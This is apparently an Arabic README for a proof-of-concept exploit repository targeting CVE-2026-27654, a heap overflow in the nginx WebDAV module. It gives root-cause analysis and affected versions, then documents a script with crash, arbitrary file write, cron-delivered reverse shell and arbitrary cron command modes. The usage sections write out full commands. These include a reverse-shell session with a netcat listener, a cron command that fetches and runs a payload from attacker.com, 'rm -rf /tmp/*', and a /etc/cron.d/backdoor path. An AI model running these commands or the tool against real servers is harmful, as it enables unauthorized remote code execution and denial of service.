
إثبات المفهوم والتحليل الفني للثغرة CVE-2026-27654، وهي ثغرة تجاوز سعة المخزن المؤقت في الكومة في وحدة NGINX HTTP WebDAV، بما في ذلك تحليل السبب الجذري وإعادة الإنتاج وسبل التخفيف.
# CVE‑2026‑27654 – إثبات مفهوم لمعالجة مسار DAV Alias في وحدة ngx_http_dav_module في nginx
يوفر هذا المستودع استغلالاً لإثبات المفهوم (PoC) لثغرة **CVE‑2026‑27654**، وهي ثغرة تجاوز سعة الكومة (heap overflow) في وحدة `ngx_http_dav_module` الخاصة بـ nginx. ينشأ الخلل من تدفق سفلي لحجم `size_t` عند معالجة طلبات `MOVE`/`COPY` تحتوي على ترويسات `Destination` مصاغة بعناية ومواقع مبنية على `alias`.
> **⚠️ إخلاء مسؤولية:** هذه الأداة مخصّصة **للبحث والاختبار الأمني المصرّح به فقط**. استخدمها فقط ضد الأنظمة التي تملكها أو التي لديك إذن صريح باختبارها. لا يتحمّل المؤلفون أي مسؤولية عن سوء الاستخدام.
<p align="center">
<img src="https://raw.githubusercontent.com/Debajyoti0-0/CVE-2026-27654-PoC/main/Image.png" alt="شعار CVE-2026-27654">
</p>
## 🔥 نظرة عامة على الثغرة
**CVE-2026-27654** هي ثغرة **تجاوز سعة الكومة (heap overflow)** قابلة للتفعيل عن بُعد في وحدة NGINX HTTP WebDAV، ناتجة عن **تدفق سفلي لعدد صحيح (integer underflow)** في الدالة `ngx_http_dav_copy_move_handler()` (`src/http/modules/ngx_http_dav_module.c`). تحدث الثغرة عندما يُشتق طول URI الخاص بالوجهة بطرح بادئة الموقع المكوّنة من مسار ترويسة `Destination`. ونظراً لأن كلا المعاملين من النوع `size_t`، فإن مسار وجهة أقصر يتسبب في التفاف ناتج الطرح إلى قيمة غير موقّعة قريبة من الحد الأقصى.
يُستخدم الطول الملفوف لاحقاً كوسيط الحجم في `memcpy()`، مما يؤدي إلى كتابة خارج حدود الكومة تُفسد الذاكرة وتُنهي عملية NGINX العاملة (worker) فوراً. يمكن لمهاجم بعيد غير مصادق أن يثير هذه الحالة بشكل موثوق باستخدام طلب **MOVE** أو **COPY** واحد مصاغ بعناية يستهدف موقع WebDAV مرتبطاً بـ `alias`. وبينما تعيد عملية NGINX الرئيسية تلقائياً إنشاء العمال الفاشلين، يمكن للطلبات المتكررة إبقاء الخدمة في حلقة انهيار مستمرة للعمال، مما يؤدي إلى حرمان مستمر من الخدمة (`Denial-of-Service (DoS)`).
يؤكد AddressSanitizer (ASan) وجود الثغرة عبر خطأ `negative-size-param` في `memcpy()`، متتبعاً مسار التنفيذ من `ngx_http_dav_copy_move_handler()` إلى `ngx_http_core_module.c`. تؤثر الثغرة على **NGINX 0.5.13–1.28.2 (المستقر)** و**1.29.0–1.29.6 (الخط الرئيسي)** عند البناء باستخدام `--with-http_dav_module` وتكوينها باستخدام توجيه `alias`. تمت معالجة المشكلة في **NGINX 1.28.3** و**1.29.7** (الالتزام `ab4b5b8`، `PR #1210`) عبر التحقق السليم من طول مسار الوجهة المحسوب قبل عمليات الذاكرة.
## ✨ الميزات
- **اختيار الوضع التفاعلي** – اختر من بين أربعة أوضاع تشغيل في وقت التشغيل (crash، write-file، cron-shell، cron-cmd) عبر قائمة مرقّمة واضحة.
- **تفعيل الانهيار** – إرسال طلب `MOVE`/`COPY` القياسي الذي يثير التدفق السفلي لحجم `size_t` ويُنهي العامل المعرّض للثغرة.
- **وضع كتابة الملف (write-file)** – رفع محتوى عشوائي إلى أي موقع على نظام الملفات (يتطلب بيئة مختبرية بإعداد `alias` قابل للكتابة).
- **تسليم قشرة عكسية عبر cron (cron-shell)** – نشر وظيفة cron لقشرة عكسية في `/etc/cron.d/`، مع مطالبات تفاعلية لإدخال `LHOST`/`LPORT` وتذكير ببدء تشغيل المستمع.
- **تسليم أمر عبر cron (cron-cmd)** – تنفيذ أمر مخصص عبر cron؛ يقبل إما إدخالاً تفاعلياً أو علامة `--cron-command`.
- **فحص الثغرة** (`--check`) – وضع غير تفاعلي يشغّل اختبار الانهيار ويطبع نتيجة واضحة `[VULNERABLE]` / `[NOT VULNERABLE]`، ثم يخرج برمز 0 أو 1.
- **دعم وكيل HTTP** (`--proxy`) – توجيه جميع الطلبات عبر وكيل HTTP/HTTPS (مثل Burp Suite أو mitmproxy) لتصحيح الأخطاء أو فحص حركة المرور.
- **معالجة ذكية للملفات** – يتحقق مما إذا كان ملف التفعيل موجوداً بالفعل (عبر HEAD/GET) ويتخطى طلب PUT إذا كان موجوداً، متجنباً الرفع غير الضروري.
- **خيارات حمولة مرنة** – توفير الحمولات عبر `--payload-file` (ثنائي)، أو `--payload-text` (نص حرفي)، أو استخدام محتوى الاختبار الافتراضي.
- **وسائط سطر أوامر شاملة** – ضبط دقيق لكل جوانب الاستغلال: `--destination-path`، `--alias-len`، `--escape-depth`، `--method`، `--location-prefix`، والمزيد.
- **احتياطي متين** – إذا لم تكن مكتبة `requests` مثبتة، يلجأ السكربت إلى وحدة `http.client` القياسية في بايثون (دعم الوكيل معطّل في الوضع الاحتياطي).
## 📦 التثبيت
```bash
git clone https://github.com/Debajyoti0-0/CVE-2026-27654-PoC.git
cd CVE-2026-27654-PoC
pip install -r requirements.txt
```
## 🚀 الاستخدام
### الوضع التفاعلي (قائمة)
```bash
python exploit.py --target 192.168.1.100:8080
```
ستظهر لك قائمة مرقّمة ويُطلب منك اختيار وضع.
### فحص الثغرة (غير تفاعلي)
```bash
python exploit.py --target 192.168.1.100:8080 --check
```
يفرض هذا تشغيل وضع **crash**، وينفّذ الاستغلال، ويطبع `[VULNERABLE]` أو `[NOT VULNERABLE]` قبل الخروج برمز `0` أو `1`.
### مع وكيل HTTP
```bash
python exploit.py --target 192.168.1.100:8080 --proxy http://127.0.0.1:8080
```
ستُرسل جميع طلبات HTTP عبر الوكيل المحدد (مفيد لتصحيح الأخطاء باستخدام Burp).
## ⚙️ مرجع العلامات
| Flag | الوصف | مثال |
|------|-------------|---------|
| `--target HOST:PORT` | مثيل nginx الهدف (الافتراضي: `127.0.0.1:8080`). | `--target 10.0.0.5:80` |
| `--verbose`, `-v` | عرض استجابات HTTP الكاملة (الترويسات والمحتوى). | `-v` |
| `--no-put` | تخطي طلب PUT الأولي (افتراض أن ملف التفعيل موجود بالفعل). مفيد للاختبار المتكرر. | `--no-put` |
| `--location-prefix` | بادئة موقع DAV (الافتراضي: `/uploads/`). يجب أن تطابق موقع `alias` في إعداد nginx. | `--location-prefix /dav/` |
| `--remote-name` | اسم الملف المصدر البعيد الموجود داخل موقع DAV (الافتراضي: `triggerfile.txt`). | `--remote-name test.txt` |
| `--method {MOVE,COPY}` | طريقة DAV المستخدمة لطلب الوجهة (الافتراضي: `MOVE`). | `--method COPY` |
| `--destination-path` | مسار URI الوجهة – يُستخدم في حسابات الانهيار أو كمسار الملف النهائي في أوضاع التسليم. | `--destination-path /etc/cron.d/backdoor` |
| `--alias-len` | طول سلسلة `alias` المكوّنة (يُستخدم لعرض حسابات الانهيار، الافتراضي `13`). | `--alias-len 20` |
| `--escape-depth` | عدد مكونات المسار `../` اللازمة للهروب من جذر DAV (الافتراضي `1`). | `--escape-depth 3` |
| `--payload-file` | ملف محلي يُرفع كحمولة. يتجاوز محتوى الاختبار الافتراضي. | `--payload-file ./shell.php` |
| `--payload-text` | حمولة نصية حرفية لوضع `write-file`. | `--payload-text "<?php phpinfo(); ?>"` |
| `--lhost` | عنوان استدعاء القشرة العكسية (لوضع `cron-shell`). إذا حُذف، يطلب السكربت بشكل تفاعلي. | `--lhost 192.168.1.50` |
| `--lport` | منفذ استدعاء القشرة العكسية (لوضع `cron-shell`). | `--lport 4444` |
| `--cron-command` | الأمر المراد تنفيذه عبر cron (لوضع `cron-cmd`). إذا حُذف، يطلب السكربت بشكل تفاعلي. | `--cron-command "rm -rf /tmp/*"` |
| `--wait` | ثوانٍ الانتظار بعد تسليم cron لتنفيذ الوظيفة (الافتراضي `65`). | `--wait 120` |
| `--check` | تشغيل فحص الثغرة (اختبار الانهيار، غير تفاعلي). يطبع `VULNERABLE`/`NOT VULNERABLE` ويخرج برمز 0/1. | `--check` |
| `--proxy PROXY_URL` | عنوان وكيل HTTP/HTTPS (مثل `http://127.0.0.1:8080`). يتطلب مكتبة `requests`. | `--proxy http://127.0.0.1:8080` |
> **ملاحظة:** معظم العلامات اختيارية. سيطالب السكربت بالوسائط الإلزامية الناقصة (مثل `--lhost`/`--lport` لوضع `cron-shell`) إذا لم يتم توفيرها.
## 🧪 الأوضاع بالتفصيل
### 1. `crash`
يرسل طلب `MOVE` (أو `COPY`) المصاغ الذي يثير التدفق السفلي لحجم `size_t`. سينهار الخادم على مستوى عملية العامل. إذا كانت العملية الرئيسية مكوّنة بشكل صحيح، فستعيد إنشاء عامل جديد.
**مثال:**
```bash
python exploit.py --target 10.0.0.5:80
# Select mode 1 (crash)
```
### 2. `write-file`
يرفع ملفاً إلى موقع عشوائي على نظام الملفات. يعمل هذا فقط إذا كان موقع DAV مدعوماً بـ `alias` يشير إلى دليل قابل للكتابة وكان مسار `Destination` مصاغاً للهروب من جذر DAV. **استخدمه فقط في بيئات المختبرات المصرّح بها.**
**مثال:**
```bash
python exploit.py --target 10.0.0.5:80 --payload-text "evil" --destination-path /tmp/evil.txt
# Select mode 2 (write-file)
```
### 3. `cron-shell`
يضع وظيفة cron لقشرة عكسية في `/etc/cron.d/`.
عند اختيار هذا الوضع، سيطلب منك السكربت:
- **LHOST** – عنوان IP للاستماع الخاص بك
- **LPORT** – منفذ الاستماع الخاص بك
بعدها سيعرض أمر مستمع netcat وينتظر منك الضغط على **Enter** بمجرد تشغيل المستمع.
**مثال (معبأ مسبقاً):**
```bash
python exploit.py --target 10.0.0.5:80 --lhost 192.168.1.50 --lport 4444
# Select mode 3 (cron-shell)
```
### 4. `cron-cmd`
يضع أمراً مخصصاً (يُقدَّم تفاعلياً أو عبر `--cron-command`) في `/etc/cron.d/`. هذا مفيد لتنفيذ أوامر نظام عشوائية.
**مثال (تفاعلي):**
```bash
python exploit.py --target 10.0.0.5:80
# Select mode 4, then enter command when prompted
```
**مثال (معبأ مسبقاً):**
```bash
python exploit.py --target 10.0.0.5:80 --cron-command "id > /tmp/owned"
# Select mode 4 (cron-cmd)
```
## 📝 سير عمل مثال (قشرة عكسية)
```bash
$ python exploit.py --target 192.168.1.100:8080
Available modes:
1. crash - Trigger the heap overflow crash
2. write-file - Write arbitrary content to an arbitrary location (authorized lab)
3. cron-shell - Deploy a reverse shell via /etc/cron.d
4. cron-cmd - Deploy a custom cron job
Select mode (number or name): 3
Enter reverse shell callback host (--lhost): 192.168.1.50
Enter reverse shell callback port (--lport): 4444
[*] Please start your netcat listener in a new terminal:
nc -lvnp 4444
[*] Press Enter once your listener is running...
[press Enter]
... (script performs the exploitation) ...
[+] Destination request accepted (201).
[*] Waiting 65s for cron execution...
[+] Reverse shell should connect shortly.
```
## 📝 سير عمل مثال (تنفيذ أوامر)
يوضح هذا المثال استخدام `cron-cmd` لتنفيذ أمر على النظام المستهدف دون الحاجة إلى مستمع.
### الوضع التفاعلي
```bash
$ python exploit.py --target 192.168.1.100:8080
Available modes:
1. crash - Trigger the heap overflow crash
2. write-file - Write arbitrary content to an arbitrary location (authorized lab)
3. cron-shell - Deploy a reverse shell via /etc/cron.d
4. cron-cmd - Deploy a custom cron job
Select mode (number or name): 4
Enter the command to run in cron (--cron-command): id > /tmp/owned
... (script performs the exploitation) ...
[+] Destination request accepted (201).
[*] Waiting 65s for cron execution...
[+] Command should have executed. Check /tmp/owned on the target.
```
### معبأ مسبقاً (غير تفاعلي)
```bash
python exploit.py --target 192.168.1.100:8080 --cron-command "wget http://attacker.com/payload -O /tmp/payload && chmod +x /tmp/payload && /tmp/payload"
# Select mode 4 (cron-cmd)
```
سيستخدم السكربت تلقائياً علامة `--cron-command` المقدمة ويتخطى المطالبة التفاعلية، مما يجعله مناسباً للأتمتة.
## 🛠️ بناء بيئة اختبار معرّضة للثغرة
لاختبار إثبات المفهوم هذا في بيئة خاضعة للتحكم، يمكنك بناء nginx من المصدر باستخدام `--with-http_dav_module` وتكوين موقع باستخدام `alias` و`dav_methods`. يتضمن المستودع إعداد Docker نموذجياً (قريباً).
## المراجع
- https://nginx.org/en/security_advisories.html
- https://github.com/nginx/nginx/commit/ab4b5b8
- https://github.com/nginx/nginx/pull/1210
## 📜 الترخيص
هذا المشروع مرخّص بموجب رخصة GNU v3.0 – راجع ملف [LICENSE](https://github.com/debajyoti0-0/cve-2026-27654-poc/blob/main/LICENSE) للتفاصيل.
## 🤝 المساهمة
نرحب بالإبلاغ عن المشكلات (Issues) وطلبات السحب (Pull Requests). يرجى التأكد من التزام مساهماتك بنفس إرشادات الاستخدام الأخلاقية.
>**تذكّر:** احصل دائماً على التصريح المناسب قبل اختبار أي أداة أمنية. كن أخلاقياً!